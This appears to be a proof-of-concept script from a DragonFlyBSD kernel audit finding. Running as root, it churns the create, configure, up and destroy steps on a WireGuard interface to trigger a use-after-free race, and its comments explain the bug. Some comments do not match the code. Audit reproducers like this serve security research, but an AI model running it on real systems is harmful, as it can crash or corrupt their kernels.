⬢ DragonFlyBSD Kernel Audit
DF-3311 / raceA12.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3311 race driver: root churns create/config/up/destroy on wg0 while
# an unprivileged "network peer" (nobody) floods handshake-shaped UDP.
# The race: wg_down() cancels+drains sc_handshake_task and purges the
# handshake queue while the UDP sockets are still open; an upcall that is
# already inside wg_input() can enqueue a handshake packet and re-enqueue
# the task AFTER the cancel loop.  wg_clone_destroy() then frees the task
# arrays, deinits (lockuninit) the queues, and kfree()s the softc - the
# late task / late enqueue operates on freed memory.
#
# usage (as root): ./raceA.sh <iterations>
ROOT=$(dirname "$0")
PORT=51820
PRIV=77076d0a7318a57d3c16c17251b26645df4c2f87ebc0992ab177fba51db92c2a
# peer pub = RFC7748 Bob pub (any 32 bytes work; MACs never validated in
# the enqueue path)
PUB=de9edb7d7b7dc1b4d35b61c2ece435373f8343c85b78674dadfc7e146f882b4f

ITERS=${1:-2000}
echo "raceA: $ITERS iterations, port $PORT"
i=0
while [ $i -lt $ITERS ]; do
	ifconfig wg0 create 2>/dev/null
	if [ $? -eq 0 ]; then
		$ROOT/wgtool set wg0 $PRIV $PORT >/dev/null 2>&1
		# 4 peers: more peers => wg_down()/destroy does more
		# per-peer drain/callout work => wider race window
		p=0
		while [ $p -lt 12 ]; do
			$ROOT/wgtool peer wg0 $PUB 127.0.0.1 $((20000+p)) 24 1 \
			    >/dev/null 2>&1
			p=$((p+1))
		done
		ifconfig wg0 up 2>/dev/null
		ifconfig wg0 10.7.0.1/24 up 2>/dev/null
		ifconfig wg0 destroy 2>/dev/null
	fi
	i=$((i+1))
	[ $((i % 200)) -eq 0 ] && echo "iter $i"
done
echo "raceA done"